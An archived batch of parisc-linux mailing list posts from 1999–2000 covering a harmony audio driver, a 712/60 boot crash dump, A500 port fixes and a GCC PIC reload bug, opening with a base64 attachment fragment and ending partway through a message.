szNWXR34a+EnUPE1RUpCU6QoNTHfe55AxddU8LZkewTFm9/6XQf+61wTqJi3Dk9f32gJTUSV2+ev
u8y7xVOwBKqA7tIEA2oKFX1EuUrE/VxF5X/t8TBcMzWtRLywotNpDJgb/wHwmH3i7mBcV9SUrsti
S1fFvBHGjo4ZacYooSNqydAh7F78g8PcbQyCJ1QZK1GVsWJR6fqyMl2faO1jtuYWhzlrg+AJVWol
qlLz2NIo3n7cdnS8mWSXfpkegvehFwAZ0X79KwJm35b61IqeeY8FQMfTODyXsz9ut0MRCKc+GzKN
Nt5J0YaM+Hboh2kPVd2yv/JmAcZXlnT/2dT7dMubuC1ggKT1sEsPV6i82hveJ1Lm4BEtetNROOR1
VgsyjTajpbQZTa3N5X3FzQqNpO47rxOz11VuujTicCj3H7znQrP4iDqbz7Jok7L6ZXRfwsQr0g6O
6Kd9d9Bbj2H2VQieUCWwyXherA7/RpdC1n9oBS/eb3zg9RTicX+DOXsITyreRmXJafxz6i/db4X8
ew4eubuwvH/PMcH37yuivH/PUsH37+uQOpdCu5o/dk9AY8ftJeXz3Z/tvvKyplP4xAnfhcxTMP3D
KEI2nIDGtuEZAkgTOaaeCRY0o/ISAZLmT6Pb7Zzy0R8nbZptDc2SYJrPzG8wwW4p7k8s/EEGPPzh
zyl+izlO4K9hYfi//f8BLWTsiUPwDwA=

------=_NextPart_000_005C_01C062C7.957FD290--


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: catfish@alltel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Subscribe not working!!!
Date: Sun, 10 Dec 2000 17:35:42 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <3A34134E.2F2A856E@alltel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619416 8362 80.91.229.3 (22 Nov 2014 01:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Sun Dec 10 16:31:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA21889
	for <parisc-linux@puffin.external.hp.com>; Sun, 10 Dec 2000 16:31:54 -0700
Original-Received: (qmail 12722 invoked by uid 15267); 10 Dec 2000 23:34:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12711 invoked from network); 10 Dec 2000 23:34:38 -0000
Original-Received: from mta02.alltel.net (HELO mta02-srv.alltel.net) (166.102.165.144)
  by mailserv2.iuinc.com with SMTP; 10 Dec 2000 23:34:38 -0000
Original-Received: from alltel.net ([166.102.252.5]) by mta02-srv.alltel.net
          (InterMail vM.5.01.01.01 201-252-104) with ESMTP
          id <20001210233436.TVXI29307.mta02-srv.alltel.net@alltel.net>
          for <parisc-linux@thepuffingroup.com>;
          Sun, 10 Dec 2000 17:34:36 -0600
Original-Sender: catfish@mailserv2.iuinc.com
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8842

 Hello, 
I've been trying to subscribe to the list but majordomo is not
reponding. 
Thanks 
Terry



-- 

Achilles' Biological Findings:
        (1) If a child looks like his father, that's heredity.  If he
            looks like a neighbor, that's environment.
        (2) A lot of time has been wasted arguing over what came first
            -- the chicken or the egg.  It was undoubtedly the
            rooster.


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Harmony driver...
Date: Mon, 11 Dec 2000 01:48:40 -0500
Organization: The Puffins at Linuxcare
Lines: 34
Approved: news@gmane.org
Message-ID: <3A3478C8.5415E923@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619417 8365 80.91.229.3 (22 Nov 2014 01:23:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Sun Dec 10 23:44:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA23900
	for <parisc-linux@puffin.external.hp.com>; Sun, 10 Dec 2000 23:44:00 -0700
Original-Received: (qmail 31040 invoked by uid 15267); 11 Dec 2000 06:46:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31025 invoked from network); 11 Dec 2000 06:46:28 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 11 Dec 2000 06:46:28 -0000
Original-Received: (qmail 30882 invoked from network); 11 Dec 2000 06:46:28 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 11 Dec 2000 06:46:28 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8843


I'm committing a driver for the harmony audio chip, found in 712s, 715s,
and I think others.

This driver definitely has problems, among them:
- no /dev/dsp or /dev/mixer support at all, you're stuck with the volume
and 8bit 8khz mono ulaw format
- for a reason I haven't yet figured out, interrupts are never called
the second time around; doing a 'cat sample.au > /dev/audio' works the
first time, and hangs the second.  Resetting on open() doesn't seem to
help.  Need to look into this.
- the code can be a lot cleaner
- I doubt this works with anything other than 4k pages
- recording doesn't work
- the buffer allocation scheme can be done quicker

I do expect to clean these things up within a week.

I can do a 'cat free_software_song.au > /dev/audio' and hear reasonable
sound on my 712/80.  It took me awhile to get the clicks and pops out,
as well as getting the chip to play the 4k frames in the right order.

The driver isn't built by default because of the above problems.  But,
you can enable CONFIG_SOUND_GSC_HARMONY.  I'd appreciate feedback from
people with other machines.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marko.T.Niskanen@nokia.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60 booting problem
Date: Mon, 11 Dec 2000 10:31:23 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <13F0486DB51CD311A0AE0008C7C561380453D430@eseis11nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619417 8367 80.91.229.3 (22 Nov 2014 01:23:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Marko.T.Niskanen@nokia.com  Mon Dec 11 01:29:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA24894
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 01:29:15 -0700
Original-Received: (qmail 6630 invoked by uid 15267); 11 Dec 2000 08:31:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6571 invoked from network); 11 Dec 2000 08:31:50 -0000
Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 11 Dec 2000 08:31:50 -0000
Original-Received: from esvir06nok.nokia.com (esvir06nok.nokia.com [131.228.20.78])
	by mgw-x2.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id eBB8VQO17148
	for <parisc-linux@thepuffingroup.com>; Mon, 11 Dec 2000 10:31:27 +0200 (EET)
Original-Received: from esebh02nok.ntc.nokia.com (unverified) by esvir06nok.nokia.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T83e4144efc506a2c85f6@esvir06nok.nokia.com> for <parisc-linux@thepuffingroup.com>;
 Mon, 11 Dec 2000 10:31:26 +0200
Original-Received: by esebh02nok with Internet Mail Service (5.5.2652.78)
	id <YV1DAMNR>; Mon, 11 Dec 2000 10:31:26 +0200
X-Mailer: Internet Mail Service (5.5.2652.78)
Xref: news.gmane.org gmane.linux.ports.parisc:8844

hello

after installing from palinux-0.5.iso.gz on cd and during booting I can get
this kind error

  YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 4001967c 40003f5b 200202c0
r4-7     4001967c 2001ff20 20020310 40019618
r8-11    20020048 40002cb8 400002f0 00000002
r12-15   00000081 00000080 200201e8 2001ff20
r16-19   c3fc4000 c028060c 00000000 4001967c
r20-23   000000d4 00000000 40000000 00000081
r24-27   00000000 20020134 40019f48 c0145da8
r28-31   40019f60 20020048 20020350 40002d1b
sr0-4    00000000 0000cba0 00000000 0000ffff
sr4-8    00002000 00002000 00002000 00002000

IASQ: 00002000 00002000 IAOQ: 4000ccdb 4000ccdf
 IIR: 55005086    ISR: 0000cba0  IOR: 2002088b
ORIG_R28: 00000000
!!die_if_kernel: init(1): Illegal instruction 8

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 4001967c 40003f5b 200202c0
r4-7     4001967c 2001ff20 20020310 40019618
r8-11    20020048 40002cb8 400002f0 00000002
r12-15   00000081 00000080 200201e8 2001ff20
r16-19   c3fc4000 c028060c 00000000 4001967c
r20-23   000000d4 00000000 40000000 00000081
r24-27   00000000 20020134 40019f48 c0145da8
r28-31   40019f60 20020048 20020350 40002d1b
sr0-4    00000000 0000cba0 00000000 0000ffff
sr4-8    00002000 00002000 00002000 00002000

IASQ: 00002000 00002000 IAOQ: 4000ccdb 4000ccdf
 IIR: 55005086    ISR: 0000cba0  IOR: 2002088b
ORIG_R28: 00000000
!!die_if_kernel: init(1): Illegal instruction 8

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 4001967c 40003f5b 200202c0
r4-7     4001967c 2001ff20 20020310 40019618
r8-11    20020048 40002cb8 400002f0 00000002
r12-15   00000081 00000080 200201e8 2001ff20
r16-19   c3fc4000 c028060csetup.c: (cmd=1)
kmem_cr000
r8-11    c02b0000 00000000 00000000 c0145f44
r12-15   00000000 00000000 00000000 00000000
r16-19   c3fc4000 c028060c 00000000 00000000
r20-23   3e64415c 00000000 00000000 00000000
r24-27   2001ff24 00000001 40019dec c0145da8
r28-31   00000000 00000000 20020040 40002d1b
sr0-4    00000000 0000cba0 00000000 0000ffff
sr4-8    00002000 00002000 00002000 00002000

IASQ: 00002000 00002000 IAOQ: 40002d53 40002d57
 IIR: 04000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000
!!die_if_kernel: init(1): Priviledged operation - shouldn't happen! 10

     000000 00000000
r20-23   3e64415c 00000000 00000000 00000000
r24-27   2001ff24 00000001 40019dec c0145da8
r28-31   00000000 00000000 20020040 40002d1b
sr0-4    00000000 0000cba0 00000000 0000ffff
sr4-8    00002000 00002000 00002000 00002000

IASQ: 00002000 00002000 IAOQ: 40002d53 40002d57
 IIR: 04000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000
!!die_if_kernel: init(1): Priviledged operation - shouldn't happen! 10

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001000111100001011
r0-3     00000000 4001952c c028060c 00000000
r4-7     c02b0000 c3fc4000 c028060c 00000000
r8-11    c02b0000 00000000 00000000 c0145f44
r12-15   00000000 00000000 00000000 00000000
r16-19   c3fc4000 c028060c 00000000 00000000
r20-23   3e64415c 00000000 00000000 00000000
r24-27   2001ff24 00000001 40019dec c0145da8
r28-31   00000000 00000000 20020040 40002d1b
sr0-4    00000000 0000cba0 00000000 0000ffff
sr4-8    00002000 00002000 00002000 00002000

IASQ: 00002000 00002000 IAOQ: 40002d53 40002d57
 IIR: 04000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000
!!die_if_kernel: init(1): Priviledged operation - shouldn't happen! 10

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001000111100001011
                                     0002000

IASQ: 00002000 00002000 IAOQ: 40002d53 40002d57
 IIR: 04000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000
!!die_if_kernel: init(1): Priviledged operation - shouldn't happen! 10

Whats problem is?


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500 status update
Date: Mon, 11 Dec 2000 13:49:18 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <20001211134918.Q7166@linuxcare.com>
References: <200012070634.WAA07459@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619417 8369 80.91.229.3 (22 Nov 2014 01:23:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:37 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Mon Dec 11 06:51:51 2000
Original-Received: from rhirst.linuxcare.com (user-79-182.jakinternet.co.uk [194.88.79.182] (may be forged))
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA27972
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 06:51:50 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5A679B007; Mon, 11 Dec 2000 13:49:18 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200012070634.WAA07459@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Dec 06, 2000 at 10:34:55PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8845

On Wed, Dec 06, 2000 at 10:34:55PM -0800, Grant Grundler wrote:
> o dd to raw disk isn't working right. "No space left on device".

Fixed.  Needs mfctl,w to read all 6 bits of SAR in wide mode.

Richard


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500 status update
Date: 11 Dec 2000 16:37:16 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <d3d7ez6kb7.fsf@lxplus015.cern.ch>
References: <200012070634.WAA07459@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619418 8371 80.91.229.3 (22 Nov 2014 01:23:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:38 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: jes@lxplus015.cern.ch  Mon Dec 11 08:35:14 2000
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id IAA29167
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 08:35:13 -0700
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id QAA27338;
	Mon, 11 Dec 2000 16:37:18 +0100 (MET)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id QAA29123;
	Mon, 11 Dec 2000 16:37:16 +0100
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Grant Grundler's message of "Wed, 6 Dec 2000 22:34:55 -0800 (PST)"
Original-Lines: 24
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:8846

>>>>> "Grant" == Grant Grundler <grundler@cup.hp.com> writes:

Grant> o dd to
Grant> raw disk isn't working right. "No space left on device".  See
Grant> the output below.

Likely cause would be that the structs for stat don't match between
the kernel and glibc. I still think the best approach would be to go
for a clean 64 bit userland from the beginning as we have on the Alpha
and ia64 and provide backwards compat support afterwards. I don't like
to see the hppa64 port end up in the same situation as sparc64 where
almost nothing gets done for years because there is already a 32 bit
userland.

Anyway it looks to me like someone needs to sit down and decide on a
strategy for this and review all the data structures accordingly.

Grant> o don't see Acenic driver output. I've got
Grant> CONFIG_ACENIC=y and the device is definitely seen by PCI.

Bug in the driver, compile it as a loadable module and it will work
... or grab http://home.cern.ch/~jes/gige/acenic-0.49-test2.tar.gz

Jes


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 booting problem
Date: Mon, 11 Dec 2000 11:02:28 -0500
Organization: The Puffins at Linuxcare
Lines: 19
Approved: news@gmane.org
Message-ID: <3A34FA94.AECD14A8@linuxcare.com>
References: <13F0486DB51CD311A0AE0008C7C561380453D430@eseis11nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619418 8374 80.91.229.3 (22 Nov 2014 01:23:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Marko.T.Niskanen@nokia.com
Original-X-From: adevries@linuxcare.com  Mon Dec 11 08:57:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA29830
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 08:57:45 -0700
Original-Received: (qmail 23485 invoked by uid 15267); 11 Dec 2000 16:00:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23305 invoked from network); 11 Dec 2000 16:00:16 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 11 Dec 2000 16:00:16 -0000
Original-Received: (qmail 17137 invoked from network); 11 Dec 2000 16:00:07 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 11 Dec 2000 16:00:07 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8847

Marko.T.Niskanen@nokia.com wrote:
> 
> hello
> 
> after installing from palinux-0.5.iso.gz on cd and during booting I can get
> this kind error

Okay.  You've got to give us some sort of clue as to what kind of
machine that is, because I can't guess.

- Alex


-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: Thu, 6 May 1999 22:17:31 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <19990506221731.18894@insula.local>
References: <199905061842.LAA11719@gatekeeper.equator.com>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619418 8376 80.91.229.3 (22 Nov 2014 01:23:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:38 +0000 (UTC)
Cc: jason@gatekeeper.equator.com, parisc-linux@thepuffingroup.com
To: Jason Eckhardt <jason@equator.com>, adevries@redhat.com
Original-X-From: prumpf@jcsbs.lanobis.de  Thu May  6 15:07:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA29130
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 May 1999 15:07:53 -0600
Original-Received: (qmail 24232 invoked by uid 15267); 6 May 1999 22:03:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24217 invoked from network); 6 May 1999 22:03:50 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 22:03:50 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10fWHM-001LoWC; Fri, 7 May 1999 00:06:04 +0200 (CEST)
Original-Received: (qmail 22748 invoked from network); 6 May 1999 22:06:26 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 6 May 1999 22:06:26 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id WAA04475;
	Thu, 6 May 1999 22:17:32 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <199905061842.LAA11719@gatekeeper.equator.com>; from Jason Eckhardt on Thu, May 06, 1999 at 11:42:19AM -0700
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:8848

>   The source is fairly complete in the sense that the bootstrap can load
>   a kernel image and transfer control to it. If we had a linux kernel, it could
>   be booted today.

Is there any reason not to let this stay in the kernel tree ? I think being able
to make the necessary changes in the CVS tree instead of sending them to you would
be convenient. (Or is the "official version" the CVS one ?)


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 11 Dec 2000 10:29:04 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <30059.976555744@upchuck>
References: <20001208225552.A4476@redhat.com>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619419 8378 80.91.229.3 (22 Nov 2014 01:23:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:39 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, alan@linuxcare.com.au,
        rhirst@linuxcare.com, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Richard Henderson <rth@redhat.com>
Original-X-From: law@upchuck.cygnus.com  Mon Dec 11 10:27:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA30887
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 10:27:09 -0700
Original-Received: (qmail 17774 invoked by uid 15267); 11 Dec 2000 17:29:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17746 invoked from network); 11 Dec 2000 17:29:53 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 11 Dec 2000 17:29:53 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA08115
	for <parisc-linux@thepuffingroup.com>; Mon, 11 Dec 2000 09:29:51 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA30062;
	Mon, 11 Dec 2000 10:29:05 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Fri, 08 Dec 2000 22:55:52 PST.
             <20001208225552.A4476@redhat.com> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:8849


  In message <20001208225552.A4476@redhat.com>you write:
  > On Fri, Dec 08, 2000 at 09:05:27PM -0700, Jeffrey A Law wrote:
  > > Unfortunately, I can't actually test it yet to see what problems removing
  > > that old hack will expose...
  > 
  > Heh.  Perhaps you could forward it to the hppa-linux folk and
  > see what happens there.  Mayhap their linker is differently
  > crash-prone.
I wouldn't count on it :-)  And in general PA linux just isn't ready for
the kind of testing I need to do for this patch.

What I really need to do is backport it into devo or 2000r1 where I can
beat on the PIC & shared library code a little harder than I can on the
external tree right now due to libstdc++-v3 issues.

jeff


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 11 Dec 2000 13:48:16 -0500 (EST)
Lines: 82
Approved: news@gmane.org
Message-ID: <200012111848.NAA20477@hiauly1.hia.nrc.ca>
References: <30059.976555744@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619419 8382 80.91.229.3 (22 Nov 2014 01:23:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:39 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec 11 11:46:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA31626
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 11:46:02 -0700
Original-Received: (qmail 19208 invoked by uid 15267); 11 Dec 2000 18:48:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19145 invoked from network); 11 Dec 2000 18:48:46 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 11 Dec 2000 18:48:46 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA20477;
	Mon, 11 Dec 2000 13:48:17 -0500 (EST)
In-Reply-To: <30059.976555744@upchuck> from "Jeffrey A Law" at Dec 11, 2000 10:29:04 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8850

>   In message <20001208225552.A4476@redhat.com>you write:
>   > On Fri, Dec 08, 2000 at 09:05:27PM -0700, Jeffrey A Law wrote:
>   > > Unfortunately, I can't actually test it yet to see what problems removing
>   > > that old hack will expose...
>   > 
>   > Heh.  Perhaps you could forward it to the hppa-linux folk and
>   > see what happens there.  Mayhap their linker is differently
>   > crash-prone.
> I wouldn't count on it :-)  And in general PA linux just isn't ready for
> the kind of testing I need to do for this patch.
> 
> What I really need to do is backport it into devo or 2000r1 where I can
> beat on the PIC & shared library code a little harder than I can on the
> external tree right now due to libstdc++-v3 issues.

This thread started when I attempted a bootstrap with "-g -O3 -fPIC".  The
full bootstrap gives a pretty good check of PIC code generation at least
for non shared code.  For the moment, I disable the new ABI and v3 for
my builds.  You might try "--enable-shared" as well.

I was going to deleting the hack and adding a general_operand test in
local-alloc to see if that would fix the reload problem with "-fPIC".
However, for the moment, there are still problems with a "normal" build
at "-O3".  With only the yesterdays CVS source and the patch below
to prevent rename registers walking of the return pointer, I get the
following failure building libstdc++ v2:

